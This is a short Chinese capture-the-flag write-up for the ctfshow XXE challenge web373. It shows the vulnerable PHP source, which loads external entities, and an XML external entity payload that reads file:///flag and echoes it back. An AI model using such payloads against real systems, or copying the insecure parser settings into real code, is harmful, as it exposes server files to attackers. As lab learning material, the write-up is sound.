可以看这位的
CTFSHOW | XXE题解 web373 - web378
XXE漏洞学习笔记
ctfshow373 xxe
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <?php error_reporting(0); //允许加载外部实体,在PHP 8.0及以上版本,此项默认为true。 libxml_disable_entity_loader(false); //从HTTP请求的body中读取原始数据,一般是POST请求的内容。 $xmlfile = file_get_contents('php://input'); if(isset($xmlfile)){ //新建一个DOMDocument对象,用于处理XML。 $dom = new DOMDocument(); //LIBXML_NOENT: 替换XML文档中的实体;LIBXML_DTDLOAD: 允许加载外部DTD。 $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); //把DOM对象转换为PHP对象。 $creds = simplexml_import_dom($dom); $ctfshow = $creds->ctfshow; echo $ctfshow; } highlight_file(__FILE__);
|
由源码可知,这个是有回显的xxe,所以可以直接post注入
1 2 3 4 5 6 7 8
| <?xml version='1.0' encoding="UTF-8"?> <!DOCTYPE test[ <!ENTITY xxe SYSTEM "file:///flag"> ]> <!-- 对应源码的$ctfshow = $creds->ctfshow; --> <creds> <ctfshow>&xxe;</ctfshow> </creds>
|
xxe374